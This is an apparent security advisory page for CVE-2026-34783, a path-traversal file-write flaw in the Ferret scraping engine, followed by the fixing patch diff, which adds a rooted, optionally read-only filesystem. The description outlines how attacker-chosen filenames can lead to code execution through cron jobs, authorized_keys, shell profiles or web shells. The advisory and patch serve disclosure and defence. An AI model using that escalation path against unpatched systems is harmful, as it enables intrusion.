VYPR
High severity8.1NVD Advisory· Published Apr 6, 2026· Updated Apr 14, 2026

CVE-2026-34783

CVE-2026-34783

Description

Ferret is a declarative system for working with web data. Prior to 2.0.0-alpha.4, a path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells. This vulnerability is fixed in 2.0.0-alpha.4.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
github.com/MontFerret/ferret/v2Go
< 2.0.0-alpha.42.0.0-alpha.4
github.com/MontFerret/ferretGo
<= 0.18.1

Affected products

4
  • Montferret/Ferret4 versions
    cpe:2.3:a:montferret:ferret:*:*:*:*:*:go:*:*+ 3 more
    • cpe:2.3:a:montferret:ferret:*:*:*:*:*:go:*:*range: <2.0.0
    • cpe:2.3:a:montferret:ferret:2.0.0:alpha1:*:*:*:go:*:*
    • cpe:2.3:a:montferret:ferret:2.0.0:alpha2:*:*:*:go:*:*
    • cpe:2.3:a:montferret:ferret:2.0.0:alpha3:*:*:*:go:*:*

Patches

1
160ebad6bd50

Feat/fs (#911)

https://github.com/MontFerret/ferretTim VoronovMar 29, 2026via ghsa
120 files changed · +1479 682
  • compat/compat.go+2 2 modified
    @@ -20,8 +20,8 @@ import (
     	ferret "github.com/MontFerret/ferret/v2"
     	compatruntime "github.com/MontFerret/ferret/v2/compat/runtime"
     	"github.com/MontFerret/ferret/v2/compat/runtime/core"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     // Instance is the v1-compatible entry point for compiling and executing FQL queries.
    @@ -98,7 +98,7 @@ func (inst *Instance) MustCompile(query string) *compatruntime.Program {
     
     // Exec compiles and immediately executes the FQL query, returning the JSON result.
     func (inst *Instance) Exec(ctx context.Context, query string, opts ...compatruntime.Option) ([]byte, error) {
    -	src := file.NewAnonymousSource(query)
    +	src := source.NewAnonymous(query)
     
     	out, err := inst.engine.Run(ctx, src, compatruntime.ToSessionOptions(opts)...)
     	if err != nil {
    
  • compat/runtime/runtime.go+10 16 modified
    @@ -7,17 +7,17 @@ import (
     	"io"
     
     	ferret "github.com/MontFerret/ferret/v2"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    -	"github.com/MontFerret/ferret/v2/pkg/vm"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     // Options holds the runtime execution options translated from v1-style Option functions.
     type Options struct {
     	logWriter io.Writer
     	params    map[string]interface{}
     	logFields map[string]interface{}
    -	logLevel  runtime.LogLevel
    +	logLevel  logging.LogLevel
     }
     
     // Option is a functional option for configuring a program execution.
    @@ -56,7 +56,7 @@ func WithLog(writer io.Writer) Option {
     }
     
     // WithLogLevel sets the log level.
    -func WithLogLevel(lvl runtime.LogLevel) Option {
    +func WithLogLevel(lvl logging.LogLevel) Option {
     	return func(o *Options) {
     		o.logLevel = lvl
     	}
    @@ -72,7 +72,7 @@ func WithLogFields(fields map[string]interface{}) Option {
     // newOptions applies the provided setters to a default Options struct.
     func newOptions(setters []Option) *Options {
     	o := &Options{
    -		logLevel: runtime.ErrorLevel,
    +		logLevel: logging.ErrorLevel,
     	}
     
     	for _, s := range setters {
    @@ -109,22 +109,16 @@ func toSessionOptions(o *Options) []ferret.SessionOption {
     		opts = append(opts, ferret.WithSessionParams(params))
     	}
     
    -	var envOpts []vm.EnvironmentOption
    -
     	if o.logWriter != nil {
    -		envOpts = append(envOpts, vm.WithLog(o.logWriter))
    +		opts = append(opts, ferret.WithSessionLog(o.logWriter))
     	}
     
    -	if o.logLevel != runtime.ErrorLevel {
    -		envOpts = append(envOpts, vm.WithLogLevel(o.logLevel))
    +	if o.logLevel != logging.ErrorLevel {
    +		opts = append(opts, ferret.WithSessionLogLevel(o.logLevel))
     	}
     
     	if len(o.logFields) > 0 {
    -		envOpts = append(envOpts, vm.WithLogFields(o.logFields))
    -	}
    -
    -	if len(envOpts) > 0 {
    -		opts = append(opts, ferret.WithEnvironmentOptions(envOpts...))
    +		opts = append(opts, ferret.WithSessionLogFields(o.logFields))
     	}
     
     	return opts
    @@ -191,7 +185,7 @@ func (p *Program) MustRun(ctx context.Context, setters ...Option) []byte {
     // compileFromSource is a helper used by compat packages to compile a raw query string
     // using the provided engine and return a wrapped Program.
     func CompileFromSource(ctx context.Context, eng *ferret.Engine, query string) (*Program, error) {
    -	src := file.NewAnonymousSource(query)
    +	src := source.NewAnonymous(query)
     
     	plan, err := eng.Compile(ctx, src)
     	if err != nil {
    
  • engine.go+8 5 modified
    @@ -8,8 +8,8 @@ import (
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/bytecode/artifact"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
     
    @@ -29,7 +29,10 @@ func New(setters ...Option) (*Engine, error) {
     		return nil, err
     	}
     
    -	boot := newBootstrap(opts)
    +	boot, err := newBootstrap(opts)
    +	if err != nil {
    +		return nil, fmt.Errorf("bootstrap: %w", err)
    +	}
     
     	for _, m := range opts.modules {
     		if err := m.Register(boot); err != nil {
    @@ -74,7 +77,7 @@ func New(setters ...Option) (*Engine, error) {
     	}, nil
     }
     
    -func (e *Engine) Compile(ctx context.Context, src *file.Source) (*Plan, error) {
    +func (e *Engine) Compile(ctx context.Context, src *source.Source) (*Plan, error) {
     	if e == nil {
     		return nil, runtime.Error(runtime.ErrInvalidOperation, "engine is nil")
     	}
    @@ -111,7 +114,7 @@ func (e *Engine) Load(data []byte) (*Plan, error) {
     	return e.newPlan(prog)
     }
     
    -func (e *Engine) Run(ctx context.Context, src *file.Source, opts ...SessionOption) (*Output, error) {
    +func (e *Engine) Run(ctx context.Context, src *source.Source, opts ...SessionOption) (*Output, error) {
     	plan, err := e.Compile(ctx, src)
     
     	if err != nil {
    @@ -121,7 +124,7 @@ func (e *Engine) Run(ctx context.Context, src *file.Source, opts ...SessionOptio
     	var session *Session
     
     	defer func() {
    -		logger := runtime.NewLogger(e.host.logging)
    +		logger := e.host.logger
     
     		if session != nil {
     			if closeErr := session.Close(); closeErr != nil {
    
  • engine_lifecycle_test.go+5 4 modified
    @@ -7,8 +7,9 @@ import (
     	"strings"
     	"testing"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
     
    @@ -130,7 +131,7 @@ func TestRunClosesPlanWhenSessionCreationFails(t *testing.T) {
     
     	_, err = eng.Run(
     		context.Background(),
    -		file.NewAnonymousSource("RETURN 1"),
    +		source.NewAnonymous("RETURN 1"),
     		WithEnvironmentOptions(
     			vm.WithFunction("SESSION_DUP", testVarFn),
     			vm.WithFunction("SESSION_DUP", testVarFn),
    @@ -154,7 +155,7 @@ func TestRunLogsDeferredCleanupErrorsWithoutChangingRunResult(t *testing.T) {
     
     	eng, err := New(
     		WithLog(logOutput),
    -		WithLogLevel(runtime.ErrorLevel),
    +		WithLogLevel(logging.ErrorLevel),
     		WithSessionCloseHook(func() error {
     			return sessionCloseErr
     		}),
    @@ -166,7 +167,7 @@ func TestRunLogsDeferredCleanupErrorsWithoutChangingRunResult(t *testing.T) {
     		t.Fatalf("failed to create engine: %v", err)
     	}
     
    -	result, err := eng.Run(context.Background(), file.NewAnonymousSource("RETURN 1"))
    +	result, err := eng.Run(context.Background(), source.NewAnonymous("RETURN 1"))
     	if err != nil {
     		t.Fatalf("expected run result error to be unchanged by cleanup failures, got: %v", err)
     	}
    
  • engine_options.go+52 96 renamed
    @@ -3,43 +3,36 @@ package ferret
     import (
     	"fmt"
     	"io"
    -	"os"
    -	"strings"
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode/artifact"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
     	"github.com/MontFerret/ferret/v2/pkg/encoding"
     	encodingjson "github.com/MontFerret/ferret/v2/pkg/encoding/json"
     	encodingmsgpack "github.com/MontFerret/ferret/v2/pkg/encoding/msgpack"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     	"github.com/MontFerret/ferret/v2/pkg/stdlib"
    -	"github.com/MontFerret/ferret/v2/pkg/vm"
     )
     
     type (
     	options struct {
    -		logging           runtime.LogSettings
     		library           runtime.Library
     		params            runtime.Params
     		encoding          *encoding.Registry
     		programLoader     *artifact.Loader
     		hooks             *hookRegistry
    +		logger            []logging.Option
    +		fsRoot            string
     		compiler          []compiler.Option
     		modules           []Module
    -		noStdlib          bool
     		maxActiveSessions int
     		maxIdleVMsPerPlan int
     		maxVMsPerPlan     int
    +		fsReadOnly        bool
    +		noStdlib          bool
     	}
     
     	Option func(env *options) error
    -
    -	sessionOptions struct {
    -		outputContentType string
    -		envOptions        []vm.EnvironmentOption
    -	}
    -
    -	SessionOption func(*sessionOptions) error
     )
     
     type encodingCodecAlias struct {
    @@ -57,36 +50,13 @@ func (c encodingCodecAlias) ContentType() string {
     	return c.contentType
     }
     
    -func newSessionOptions(setters []SessionOption) (*sessionOptions, error) {
    -	opts := &sessionOptions{
    -		outputContentType: encodingjson.ContentType,
    -	}
    -
    -	for _, setter := range setters {
    -		if setter == nil {
    -			continue
    -		}
    -
    -		if err := setter(opts); err != nil {
    -			return nil, err
    -		}
    -	}
    -
    -	return opts, nil
    -}
    -
     func newOptions(setters []Option) (*options, error) {
     	opts := &options{
    -		compiler:      []compiler.Option{},
    -		library:       runtime.NewLibrary(),
    -		params:        make(map[string]runtime.Value),
    -		encoding:      encoding.NewRegistry(encodingjson.Default, encodingmsgpack.Default),
    -		programLoader: artifact.NewDefaultLoader(),
    -		hooks:         newHookRegistry(),
    -		logging: runtime.LogSettings{
    -			Writer: os.Stdout,
    -			Level:  runtime.ErrorLevel,
    -		},
    +		library:           runtime.NewLibrary(),
    +		params:            make(map[string]runtime.Value),
    +		encoding:          encoding.NewRegistry(encodingjson.Default, encodingmsgpack.Default),
    +		programLoader:     artifact.NewDefaultLoader(),
    +		hooks:             newHookRegistry(),
     		maxActiveSessions: defaultMaxActiveSessions,
     		maxIdleVMsPerPlan: defaultVMPoolSize,
     		maxVMsPerPlan:     defaultMaxVMsPerPlan,
    @@ -152,20 +122,22 @@ func WithLog(writer io.Writer) Option {
     			return fmt.Errorf("log writer cannot be nil")
     		}
     
    -		opts.logging.Writer = writer
    +		opts.logger = append(opts.logger, logging.WithWriter(writer))
    +
     		return nil
     	}
     }
     
     // WithLogLevel sets the logging level for the engine.
     // The logging level determines the severity of log messages that will be recorded.
    -func WithLogLevel(lvl runtime.LogLevel) Option {
    +func WithLogLevel(lvl logging.LogLevel) Option {
     	return func(opts *options) error {
    -		if lvl < runtime.TraceLevel || lvl > runtime.Disabled {
    +		if lvl < logging.TraceLevel || lvl > logging.Disabled {
     			return fmt.Errorf("invalid log level: %v", lvl)
     		}
     
    -		opts.logging.Level = lvl
    +		opts.logger = append(opts.logger, logging.WithLevel(lvl))
    +
     		return nil
     	}
     }
    @@ -178,13 +150,7 @@ func WithLogFields(fields map[string]any) Option {
     			return fmt.Errorf("log fields cannot be nil")
     		}
     
    -		if opts.logging.Fields == nil {
    -			opts.logging.Fields = make(map[string]any)
    -		}
    -
    -		for k, v := range fields {
    -			opts.logging.Fields[k] = v
    -		}
    +		opts.logger = append(opts.logger, logging.WithFields(fields))
     
     		return nil
     	}
    @@ -198,6 +164,7 @@ func WithEncodingRegistry(registry *encoding.Registry) Option {
     		}
     
     		opts.encoding = registry
    +
     		return nil
     	}
     }
    @@ -210,60 +177,16 @@ func WithProgramLoader(loader *artifact.Loader) Option {
     		}
     
     		opts.programLoader = loader
    -		return nil
    -	}
    -}
    -
    -func WithEnvironmentOptions(opts ...vm.EnvironmentOption) SessionOption {
    -	return func(session *sessionOptions) error {
    -		if session == nil {
    -			return nil
    -		}
    -
    -		if len(opts) == 0 {
    -			return nil
    -		}
    -
    -		for _, opt := range opts {
    -			if opt == nil {
    -				continue
    -			}
    -
    -			session.envOptions = append(session.envOptions, opt)
    -		}
    -
    -		return nil
    -	}
    -}
    -
    -func WithOutputContentType(contentType string) SessionOption {
    -	return func(session *sessionOptions) error {
    -		if session == nil {
    -			return nil
    -		}
    -
    -		trimmed := strings.TrimSpace(contentType)
    -		if trimmed == "" {
    -			return fmt.Errorf("output content type cannot be empty")
    -		}
     
    -		session.outputContentType = trimmed
     		return nil
     	}
     }
     
    -func WithSessionParams(params runtime.Params) SessionOption {
    -	return WithEnvironmentOptions(vm.WithParams(params))
    -}
    -
    -func WithSessionParam(name string, value runtime.Value) SessionOption {
    -	return WithEnvironmentOptions(vm.WithParam(name, value))
    -}
    -
     // WithoutStdlib disables the standard library, so no built-in functions are registered by default.
     func WithoutStdlib() Option {
     	return func(opts *options) error {
     		opts.noStdlib = true
    +
     		return nil
     	}
     }
    @@ -336,6 +259,7 @@ func WithEngineInitHook(hook EngineInitHook) Option {
     		}
     
     		opts.hooks.engine.OnInit(hook)
    +
     		return nil
     	}
     }
    @@ -349,6 +273,7 @@ func WithEngineCloseHook(hook EngineCloseHook) Option {
     		}
     
     		opts.hooks.engine.OnClose(hook)
    +
     		return nil
     	}
     }
    @@ -362,6 +287,7 @@ func WithBeforeCompileHook(hook BeforeCompileHook) Option {
     		}
     
     		opts.hooks.plan.BeforeCompile(hook)
    +
     		return nil
     	}
     }
    @@ -375,6 +301,7 @@ func WithAfterCompileHook(hook AfterCompileHook) Option {
     		}
     
     		opts.hooks.plan.AfterCompile(hook)
    +
     		return nil
     	}
     }
    @@ -388,6 +315,7 @@ func WithPlanCloseHook(hook PlanCloseHook) Option {
     		}
     
     		opts.hooks.plan.OnClose(hook)
    +
     		return nil
     	}
     }
    @@ -402,6 +330,7 @@ func WithBeforeRunHook(hook BeforeRunHook) Option {
     		}
     
     		opts.hooks.session.BeforeRun(hook)
    +
     		return nil
     	}
     }
    @@ -415,6 +344,7 @@ func WithAfterRunHook(hook AfterRunHook) Option {
     		}
     
     		opts.hooks.session.AfterRun(hook)
    +
     		return nil
     	}
     }
    @@ -428,6 +358,7 @@ func WithSessionCloseHook(hook SessionCloseHook) Option {
     		}
     
     		opts.hooks.session.OnClose(hook)
    +
     		return nil
     	}
     }
    @@ -455,6 +386,7 @@ func WithMaxActiveSessions(n int) Option {
     		}
     
     		opts.maxActiveSessions = n
    +
     		return nil
     	}
     }
    @@ -484,6 +416,7 @@ func WithMaxIdleVMsPerPlan(n int) Option {
     		}
     
     		opts.maxIdleVMsPerPlan = n
    +
     		return nil
     	}
     }
    @@ -517,6 +450,29 @@ func WithMaxVMsPerPlan(n int) Option {
     		}
     
     		opts.maxVMsPerPlan = n
    +
    +		return nil
    +	}
    +}
    +
    +// WithFSRoot sets the root directory for the engine's file system.
    +func WithFSRoot(root string) Option {
    +	return func(opts *options) error {
    +		if root == "" {
    +			return fmt.Errorf("fs root cannot be empty")
    +		}
    +
    +		opts.fsRoot = root
    +
    +		return nil
    +	}
    +}
    +
    +// WithFSReadOnly sets the engine's file system to read-only mode.
    +func WithFSReadOnly() Option {
    +	return func(opts *options) error {
    +		opts.fsReadOnly = true
    +
     		return nil
     	}
     }
    
  • engine_test.go+8 8 modified
    @@ -9,8 +9,8 @@ import (
     	"github.com/MontFerret/ferret/v2/pkg/bytecode/artifact"
     	formatjson "github.com/MontFerret/ferret/v2/pkg/bytecode/format/json"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     const (
    @@ -52,7 +52,7 @@ func mustNewEngine(t *testing.T, setters ...Option) *Engine {
     func mustCompilePlan(t *testing.T, eng *Engine, query string) *Plan {
     	t.Helper()
     
    -	plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(query))
    +	plan, err := eng.Compile(context.Background(), source.NewAnonymous(query))
     	if err != nil {
     		t.Fatalf("failed to compile query %q: %v", query, err)
     	}
    @@ -74,7 +74,7 @@ func mustNewSession(t *testing.T, plan *Plan, setters ...SessionOption) *Session
     func mustMarshalArtifact(t *testing.T, query string, opts ...artifact.Options) []byte {
     	t.Helper()
     
    -	prog, err := compiler.New().Compile(file.NewAnonymousSource(query))
    +	prog, err := compiler.New().Compile(source.NewAnonymous(query))
     	if err != nil {
     		t.Fatalf("failed to compile query %q: %v", query, err)
     	}
    @@ -273,7 +273,7 @@ func TestEngineCompileReturnsBeforeHookError(t *testing.T) {
     		}),
     	)
     
    -	plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageValidQuery))
    +	plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageValidQuery))
     	if err == nil {
     		t.Fatal("expected compile to fail on before hook error")
     	}
    @@ -307,7 +307,7 @@ func TestEngineCompileReturnsCompilerErrorWhenAfterHooksSucceed(t *testing.T) {
     		return nil
     	}))
     
    -	plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageInvalidQuery))
    +	plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageInvalidQuery))
     	if err == nil {
     		t.Fatal("expected compile to fail for invalid query")
     	}
    @@ -343,7 +343,7 @@ func TestEngineCompileReturnsAfterHookErrorOnSuccess(t *testing.T) {
     		return afterErr
     	}))
     
    -	plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageValidQuery))
    +	plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageValidQuery))
     	if err == nil {
     		t.Fatal("expected compile to fail when after hook fails")
     	}
    @@ -376,7 +376,7 @@ func TestEngineCompileJoinsCompileAndAfterHookErrors(t *testing.T) {
     		return afterErr
     	}))
     
    -	plan, err := eng.Compile(context.Background(), file.NewAnonymousSource(coverageInvalidQuery))
    +	plan, err := eng.Compile(context.Background(), source.NewAnonymous(coverageInvalidQuery))
     	if err == nil {
     		t.Fatal("expected compile to fail for invalid query and after hook error")
     	}
    @@ -411,7 +411,7 @@ func TestEngineRunReturnsCompileErrorWithoutPlanClose(t *testing.T) {
     		return nil
     	}))
     
    -	result, err := eng.Run(context.Background(), file.NewAnonymousSource(coverageInvalidQuery))
    +	result, err := eng.Run(context.Background(), source.NewAnonymous(coverageInvalidQuery))
     	if err == nil {
     		t.Fatal("expected run to fail when compile fails")
     	}
    
  • .github/workflows/benchmark.yml+6 6 modified
    @@ -69,7 +69,7 @@ jobs:
             uses: actions/checkout@v4
     
           - name: Set up Go
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: go.mod
               cache: true
    @@ -114,7 +114,7 @@ jobs:
             uses: actions/checkout@v4
     
           - name: Set up Go
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: go.mod
               cache: true
    @@ -160,7 +160,7 @@ jobs:
             uses: actions/checkout@v4
     
           - name: Set up Go
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: go.mod
               cache: true
    @@ -231,7 +231,7 @@ jobs:
             uses: actions/checkout@v4
     
           - name: Set up Go
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: go.mod
               cache: true
    @@ -301,7 +301,7 @@ jobs:
               ref: ${{ inputs.target_ref }}
     
           - name: Set up Go
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: go.mod
               cache: true
    @@ -371,7 +371,7 @@ jobs:
               ref: ${{ inputs.target_ref }}
     
           - name: Set up Go
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: go.mod
               cache: true
    
  • .github/workflows/build.yml+22 5 modified
    @@ -12,7 +12,7 @@ jobs:
             uses: actions/checkout@v2
     
           - name: Set up Go
    -        uses: actions/setup-go@v3
    +        uses: actions/setup-go@v6
             with:
               go-version: '>=1.23'
     
    @@ -26,15 +26,16 @@ jobs:
               git diff
               if [[ $(git diff) != '' ]]; then echo 'Invalid formatting!' >&2; exit 1; fi
     
    +
       build:
         name: Build
         runs-on: ubuntu-latest
         strategy:
           matrix:
    -        goVer: [1.23, 1.24, 1.25]
    +        goVer: [1.25, 1.26]
         steps:
           - name: Set up Go ${{ matrix.goVer }}
    -        uses: actions/setup-go@v2
    +        uses: actions/setup-go@v6
             with:
               go-version: ${{ matrix.goVer }}
             id: go
    @@ -75,6 +76,22 @@ jobs:
           - name: Unit tests
             run: make cover
     
    +  security:
    +    name: Security Tests
    +    runs-on: ubuntu-latest
    +
    +    steps:
    +      - name: Check out code into the Go module directory
    +        uses: actions/checkout@v2
    +
    +      - name: Set up Go
    +        uses: actions/setup-go@v6
    +        with:
    +          go-version: 1.25
    +
    +      - name: Run security tests
    +        run: make test-security
    +
       race:
         name: Race Tests
         runs-on: ubuntu-latest
    @@ -84,9 +101,9 @@ jobs:
             uses: actions/checkout@v2
     
           - name: Set up Go
    -        uses: actions/setup-go@v2
    +        uses: actions/setup-go@v6
             with:
               go-version: 1.25
     
           - name: Run race tests
    -        run: go test ./... -race
    \ No newline at end of file
    +        run: make test-unit && make test-integration
    \ No newline at end of file
    
  • .github/workflows/codeql.yml+1 1 modified
    @@ -39,7 +39,7 @@ jobs:
             uses: actions/checkout@v4
     
           - name: Set up Go (use version from go.mod / toolchain)
    -        uses: actions/setup-go@v5
    +        uses: actions/setup-go@v6
             with:
               go-version-file: 'go.mod'
               check-latest: true
    
  • go.mod+1 3 modified
    @@ -1,8 +1,6 @@
     module github.com/MontFerret/ferret/v2
     
    -go 1.23
    -
    -toolchain go1.24.5
    +go 1.25
     
     require (
     	github.com/antlr4-go/antlr/v4 v4.13.1
    
  • host.go+36 14 modified
    @@ -2,63 +2,85 @@ package ferret
     
     import (
     	"github.com/MontFerret/ferret/v2/pkg/encoding"
    +	"github.com/MontFerret/ferret/v2/pkg/fs"
    +	"github.com/MontFerret/ferret/v2/pkg/logging"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
     type (
    -	HostConfigurer interface {
    -		Params() runtime.Params
    +	HostContext interface {
     		Library() runtime.Library
    +		Params() runtime.Params
     		Encoding() encoding.CodecRegistrar
    +		Logger() logging.Logger
    +		FileSystem() fs.FileSystem
     	}
     
     	host struct {
     		functions *runtime.Functions
     		params    runtime.Params
     		encoding  *encoding.Registry
    -		logging   runtime.LogSettings
    +		logger    logging.Logger
    +		fs        fs.FileSystem
     	}
     
    -	hostBuilder struct {
    +	hostContext struct {
     		library  runtime.Library
     		params   runtime.Params
     		encoding *encoding.Registry
    -		logging  runtime.LogSettings
    +		logger   logging.Logger
    +		fs       fs.FileSystem
     	}
     )
     
    -func newHostBuilder(opts *options) *hostBuilder {
    -	return &hostBuilder{
    +func newHostContext(opts *options) (*hostContext, error) {
    +	rootFs, err := fs.New(fs.WithRoot(opts.fsRoot), fs.WithReadOnly(opts.fsReadOnly))
    +
    +	if err != nil {
    +		return nil, err
    +	}
    +
    +	return &hostContext{
     		library:  opts.library,
     		params:   opts.params,
    -		logging:  opts.logging,
     		encoding: opts.encoding,
    -	}
    +		logger:   logging.New(opts.logger...),
    +		fs:       rootFs,
    +	}, nil
    +}
    +
    +func (h *hostContext) Logger() logging.Logger {
    +	return h.logger
    +}
    +
    +func (h *hostContext) FileSystem() fs.FileSystem {
    +	return h.fs
     }
     
    -func (h *hostBuilder) Params() runtime.Params {
    +func (h *hostContext) Params() runtime.Params {
     	return h.params
     }
     
    -func (h *hostBuilder) Library() runtime.Library {
    +func (h *hostContext) Library() runtime.Library {
     	return h.library
     }
     
    -func (h *hostBuilder) Encoding() encoding.CodecRegistrar {
    +func (h *hostContext) Encoding() encoding.CodecRegistrar {
     	return h.encoding
     }
     
    -func (h *hostBuilder) Build() (*host, error) {
    +func (h *hostContext) Build() (*host, error) {
     	funcs, err := h.library.Build()
     
     	if err != nil {
     		return nil, err
     	}
     
     	return &host{
    -		logging:   h.logging,
     		functions: funcs,
     		params:    h.params.Clone(),
     		encoding:  h.encoding.Clone(),
    +		logger:    h.logger,
    +		fs:        h.fs,
     	}, nil
     }
    
  • Makefile+6 2 modified
    @@ -6,7 +6,8 @@ DIR_BIN = ./bin
     DIR_PKG = ./pkg
     DIR_COMPAT = ./compat
     DIR_INTEG = ./test/integration
    -DIR_BENCH = ./test/integration/benchmarks
    +DIR_BENCH = ./test/benchmarks
    +DIR_SEC = ./test/security
     DIR_E2E = ./test/e2e
     BENCH_RUN ?= '^$$'
     BENCH_FILTER ?= .
    @@ -31,14 +32,17 @@ compile:
     	go build -v -o ${DIR_BIN}/ferret \
     	${DIR_E2E}/cli.go
     
    -test: test-unit test-integration
    +test: test-unit test-integration test-security
     
     test-unit:
     	CGO_ENABLED=1 go test -race ${DIR_PKG}/... && CGO_ENABLED=1 go test -race ${DIR_COMPAT}/...
     
     test-integration:
     	CGO_ENABLED=1 go test -race ${DIR_INTEG}/...
     
    +test-security:
    +	go test ${DIR_SEC}/...
    +
     clean:
     	rm -rf ${DIR_BIN}/* && \
     	rm -rf coverage.txt && \
    
  • module.go+11 6 modified
    @@ -9,24 +9,29 @@ type (
     
     	// Bootstrap defines an interface for configuring the host and registering lifecycle hooks with the runtime engine.
     	Bootstrap interface {
    -		Host() HostConfigurer
    +		Host() HostContext
     		Hooks() HookRegistrar
     	}
     
     	bootstrap struct {
    -		host  *hostBuilder
    +		host  *hostContext
     		hooks *hookRegistry
     	}
     )
     
    -func newBootstrap(opts *options) *bootstrap {
    +func newBootstrap(opts *options) (*bootstrap, error) {
    +	hostCtx, err := newHostContext(opts)
    +	if err != nil {
    +		return nil, err
    +	}
    +
     	return &bootstrap{
    -		host:  newHostBuilder(opts),
    +		host:  hostCtx,
     		hooks: opts.hooks,
    -	}
    +	}, nil
     }
     
    -func (b *bootstrap) Host() HostConfigurer {
    +func (b *bootstrap) Host() HostContext {
     	return b.host
     }
     
    
  • pkg/bytecode/artifact/artifact_bench_test.go+2 2 modified
    @@ -5,7 +5,7 @@ import (
     
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	"github.com/MontFerret/ferret/v2/pkg/compiler"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
     )
     
     func BenchmarkMarshalMessagePack(b *testing.B) {
    @@ -71,7 +71,7 @@ func BenchmarkUnmarshalJSON(b *testing.B) {
     func mustBenchmarkArtifactProgram(b *testing.B) *bytecode.Program {
     	b.Helper()
     
    -	src := file.NewSource("bench.fql", `
    +	src := source.New("bench.fql", `
     LET users = [
       { gender: "m", age: 31 },
       { gender: "f", age: 25 },
    
  • pkg/bytecode/artifact/artifact_test.go+4 3 modified
    @@ -7,11 +7,12 @@ import (
     
     	gojson "github.com/goccy/go-json"
     
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/bytecode"
     	formatjson "github.com/MontFerret/ferret/v2/pkg/bytecode/format/json"
     	formatmsgpack "github.com/MontFerret/ferret/v2/pkg/bytecode/format/msgpack"
     	"github.com/MontFerret/ferret/v2/pkg/bytecode/internal/persist"
    -	"github.com/MontFerret/ferret/v2/pkg/file"
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
    @@ -263,7 +264,7 @@ func TestNewLoaderPanicsOnInvalidRegistrations(t *testing.T) {
     
     func newArtifactTestProgram() *bytecode.Program {
     	return &bytecode.Program{
    -		Source: file.NewSource("artifact.fql", "RETURN 1"),
    +		Source: source.New("artifact.fql", "RETURN 1"),
     		Bytecode: []bytecode.Instruction{
     			bytecode.NewInstruction(bytecode.OpLoadConst, bytecode.NewRegister(0), bytecode.NewConstant(0)),
     			bytecode.NewInstruction(bytecode.OpReturn, bytecode.NewRegister(0)),
    @@ -277,7 +278,7 @@ func newArtifactTestProgram() *bytecode.Program {
     			AggregatePlans:         []bytecode.AggregatePlan{bytecode.NewAggregatePlan([]runtime.String{runtime.NewString("group")}, []bytecode.AggregateKind{bytecode.AggregateCount}, false)},
     			AggregateSelectorSlots: []int{-1, -1},
     			MatchFailTargets:       []int{-1, -1},
    -			DebugSpans:             []file.Span{{Start: 0, End: 8}, {Start: 0, End: 8}},
    +			DebugSpans:             []source.Span{{Start: 0, End: 8}, {Start: 0, End: 8}},
     			OptimizationLevel:      1,
     		},
     		ISAVersion: bytecode.Version,
    
  • pkg/bytecode/encoding.go+3 2 modified
    @@ -10,13 +10,14 @@ import (
     
     	"github.com/goccy/go-json"
     
    -	"github.com/MontFerret/ferret/v2/pkg/file"
    +	"github.com/MontFerret/ferret/v2/pkg/source"
    +
     	"github.com/MontFerret/ferret/v2/pkg/runtime"
     )
     
     type (
     	programJSON struct {
    -		Source     *file.Source   `json:"source,omitempty"`
    +		Source     *source.Source `json:"source,omitempty"`
     		Functions  Functions      `json:"functions,omitempty"`
     		Bytecode   []Instruction  `json:"bytecode"`
     		Constants  []constantJSON `json:"constants,omitempty"`
    
  • pkg/bytecode/format/json/format_test.go+5 4 modified
